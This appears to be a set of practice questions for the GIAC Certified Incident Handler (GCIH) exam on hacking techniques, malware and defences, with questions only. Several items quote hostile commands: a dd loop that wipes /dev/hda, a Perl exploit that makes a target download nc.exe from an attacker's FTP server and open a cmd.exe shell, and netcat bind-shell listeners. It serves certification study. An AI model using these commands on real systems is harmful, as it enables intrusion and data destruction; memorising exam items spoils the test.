GCIH GIAC Certified Incident Handler Questions and Answers

John is a malicious attacker. He illegally accesses the server of We-are-secure Inc. He then places a backdoor in the We-are-secure server and alters its log files. Which of the following steps of malicious hacking includes altering the server log files?

Which of the following are the rules by which an organization operates?

John works as a Network Administrator for We-are-secure Inc. He finds that TCP port 7597 of the Weare- secure server is open. He suspects that it may be open due to a Trojan installed on the server. He presents a report to the company describing the symptoms of the Trojan. A summary of the report is given below:

Once this Trojan has been installed on the computer, it searches Notpad.exe, renames it Note.com, and then copies itself to the computer as Notepad.exe. Each time Notepad.exe is executed, the Trojan executes and calls the original Notepad to avoid being noticed.

Which of the following Trojans has the symptoms as the one described above?

Adam, a malicious hacker has successfully gained unauthorized access to the Linux system of Umbrella Inc. Web server of the company runs on Apache. He has downloaded sensitive documents and database files from the computer.

After performing these malicious tasks, Adam finally runs the following command on the Linux command box before disconnecting.

for (( i = 0;i<11;i++ )); do dd if=/dev/random of=/dev/hda && dd if=/dev/zero of=/dev/hda done

Which of the following actions does Adam want to perform by the above command?

Which of the following types of scan does not open a full TCP connection?

The IT administrator wants to implement a stronger security policy. What are the four most important security priorities for PassGuide Software Systems Pvt. Ltd.?

Which of the following rootkits patches, hooks, or replaces system calls with versions that hide information about the attacker?

Which of the following functions in c/c++ can be the cause of buffer overflow?

Each correct answer represents a complete solution. Choose two.

Which of the following is a type of computer security vulnerability typically found in Web applications that allow code injection by malicious Web users into the Web pages viewed by other users?

Which of the following attacks can be overcome by applying cryptography?

Which of the following is executed when a predetermined event occurs?

Adam works as a Penetration Tester for Umbrella Inc. A project has been assigned to him check the security of wireless network of the company. He re-injects a captured wireless packet back onto the network. He does this hundreds of times within a second. The packet is correctly encrypted and Adam assumes it is an ARP request packet. The wireless host responds with a stream of responses, all individually encrypted with different IVs.

Which of the following types of attack is Adam performing?

Which of the following types of attacks is often performed by looking surreptitiously at the keyboard or monitor of an employee's computer?

Against which of the following does SSH provide protection?

Each correct answer represents a complete solution. Choose two.

Which of the following are the automated tools that are used to perform penetration testing?

Each correct answer represents a complete solution. Choose two.

Which of the following netcat parameters makes netcat a listener that automatically restarts itself when a connection is dropped?

Your friend plans to install a Trojan on your computer. He knows that if he gives you a new version of chess.exe, you will definitely install the game on your computer. He picks up a Trojan and joins it with chess.exe. Which of the following tools are required in such a scenario?

Each correct answer represents a part of the solution. Choose three.

Which of the following attacks are examples of Denial-of-service attacks (DoS)?

Each correct answer represents a complete solution. Choose all that apply.

A user is sending a large number of protocol packets to a network in order to saturate its resources and to disrupt connections to prevent communications between services. Which type of attack is this?

As a professional hacker, you want to crack the security of secureserver.com. For this, in the information gathering step, you performed scanning with the help of nmap utility to retrieve as many different protocols as possible being used by the secureserver.com so that you could get the accurate knowledge about what services were being used by the secure server.com. Which of the following nmap switches have you used to accomplish the task?

Which of the following programs can be used to detect stealth port scans performed by a malicious hacker?

Each correct answer represents a complete solution. Choose all that apply.

You are hired as a Database Administrator for Jennifer Shopping Cart Inc. You monitor the server health through the System Monitor and found that there is a sudden increase in the number of logins.

Which of the following types of attack has occurred?

You want to perform passive footprinting against we-are-secure Inc. Web server. Which of the following tools will you use?

The Klez worm is a mass-mailing worm that exploits a vulnerability to open an executable attachment even in Microsoft Outlook's preview pane. The Klez worm gathers email addresses from the entries of the default Windows Address Book (WAB). Which of the following registry values can be used to identify this worm?

Which of the following functions can be used as a countermeasure to a Shell Injection attack?

Each correct answer represents a complete solution. Choose all that apply.

Adam, a novice computer user, works primarily from home as a medical professional. He just bought a brand new Dual Core Pentium computer with over 3 GB of RAM. After about two months of working on his new computer, he notices that it is not running nearly as fast as it used to. Adam uses antivirus software, anti-spyware software, and keeps the computer up-to-date with Microsoft patches. After another month of working on the computer, Adam finds that his computer is even more noticeably slow. He also notices a window or two pop-up on his screen, but they quickly disappear. He has seen these windows show up, even when he has not been on the Internet. Adam notices that his computer only has about 10 GB of free space available. Since his hard drive is a 200 GB hard drive, Adam thinks this is very odd.

Which of the following is the mostly likely the cause of the problem?

Many organizations create network maps of their network system to visualize the network and understand the relationship between the end devices and the transport layer that provide services.

Which of the following are the techniques used for network mapping by large organizations?

Each correct answer represents a complete solution. Choose three.

Which of the following statements are true about session hijacking?

Each correct answer represents a complete solution. Choose all that apply.

You work as a Penetration Tester for the Infosec Inc. Your company takes the projects of security auditing. Recently, your company has assigned you a project to test the security of the we-aresecure.com Web site. For this, you want to perform the idle scan so that you can get the ports open in the we-are-secure.com server. You are using Hping tool to perform the idle scan by using a zombie computer. While scanning, you notice that every IPID is being incremented on every query, regardless whether the ports are open or close. Sometimes, IPID is being incremented by more than one value.

What may be the reason?

Which of the following types of attacks is mounted with the objective of causing a negative impact on the performance of a computer or network?

Adam, a malicious hacker performs an exploit, which is given below:

#####################################################

$port = 53;

# Spawn cmd.exe on port X

$your = "192.168.1.1";# Your FTP Server 89

$user = "Anonymous";# login as

$pass = 'noone@nowhere.com';# password

#####################################################

$host = $ARGV[0];

print "Starting ...\n";

print "Server will download the file nc.exe from $your FTP server.\n"; system("perl msadc.pl -h $host -C \"echo

open $your >sasfile\""); system("perl msadc.pl -h $host -C \"echo $user>>sasfile\""); system("perl msadc.pl -h

$host -C \"echo $pass>>sasfile\""); system("perl msadc.pl -h $host -C \"echo bin>>sasfile\""); system("perl msadc.pl -h $host -C \"echo get nc.exe>>sasfile\""); system("perl msadc.pl -h $host –C \"echo get hacked. html>>sasfile\""); system("perl msadc.pl -h $host -C \"echo quit>>sasfile\""); print "Server is downloading ...

\n";

system("perl msadc.pl -h $host -C \"ftp \-s\:sasfile\""); print "Press ENTER when download is finished ...

(Have a ftp server)\n";

$o=; print "Opening ...\n";

system("perl msadc.pl -h $host -C \"nc -l -p $port -e cmd.exe\""); print "Done.\n"; #system("telnet $host $port"); exit(0);

Which of the following is the expected result of the above exploit?

Ryan, a malicious hacker submits Cross-Site Scripting (XSS) exploit code to the Website of Internet forum for online discussion. When a user visits the infected Web page, code gets automatically executed and Ryan can easily perform acts like account hijacking, history theft etc. Which of the following types of Cross-Site Scripting attack Ryan intends to do?

What is the major difference between a worm and a Trojan horse?

Which of the following is a computer worm that caused a denial of service on some Internet hosts and dramatically slowed down general Internet traffic?

You see the career section of a company's Web site and analyze the job profile requirements. You conclude that the company wants professionals who have a sharp knowledge of Windows server 2003 and Windows active directory installation and placement. Which of the following steps are you using to perform hacking?

Adam works as a Security Administrator for Umbrella Inc. A project has been assigned to him to secure access to the network of the company from all possible entry points. He segmented the network into several subnets and installed firewalls all over the network. He has placed very stringent rules on all the firewalls, blocking everything in and out except the ports that must be used. He does need to have port 80 open since his company hosts a website that must be accessed from the Internet. Adam is still worried about the programs like Hping2 that can get into a network through covert channels.

Which of the following is the most effective way to protect the network of the company from an attacker using Hping2 to scan his internal network?

Which of the following tools can be used to detect the steganography?

John works as a professional Ethical Hacker. He has been assigned a project to test the security of www.we-are-secure.com. He performs Web vulnerability scanning on the We-are-secure server. The output of the scanning test is as follows:

C:\whisker.pl -h target_IP_address

-- whisker / v1.4.0 / rain forest puppy / www.wiretrip.net -- = - = - = - = - =

= Host: target_IP_address

= Server: Apache/1.3.12 (Win32) ApacheJServ/1.1

mod_ssl/2.6.4 OpenSSL/0.9.5a mod_perl/1.22

+ 200 OK: HEAD /cgi-bin/printenv

John recognizes /cgi-bin/printenv vulnerability ('Printenv' vulnerability) in the We_are_secure server. Which of the following statements about 'Printenv' vulnerability are true?

Each correct answer represents a complete solution. Choose all that apply.

You run the following PHP script:

<?php $name = mysql_real_escape_string($_POST["name"]);

$password = mysql_real_escape_string($_POST["password"]); ?>

What is the use of the mysql_real_escape_string() function in the above script.

Each correct answer represents a complete solution. Choose all that apply.

Which of the following wireless network security solutions refers to an authentication process in which a user can connect wireless access points to a centralized server to ensure that all hosts are properly authenticated?

Which of the following hacking tools provides shell access over ICMP?

Which of the following strategies allows a user to limit access according to unique hardware information supplied by a potential client?

Which of the following is the method of hiding data within another media type such as graphic or document?

Alice wants to prove her identity to Bob. Bob requests her password as proof of identity, which Alice dutifully provides (possibly after some transformation like a hash function); meanwhile, Eve is eavesdropping the conversation and keeps the password. After the interchange is over, Eve connects to Bob posing as Alice; when asked for a proof of identity, Eve sends Alice's password read from the last session, which Bob accepts. Which of the following attacks is being used by Eve?

Maria works as the Chief Security Officer for PassGuide Inc. She wants to send secret messages to the CEO of the company. To secure these messages, she uses a technique of hiding a secret message within an ordinary message. The technique provides 'security through obscurity'. What technique is Maria using?

You execute the following netcat command:

c:\target\nc -1 -p 53 -d -e cmd.exe

What action do you want to perform by issuing the above command?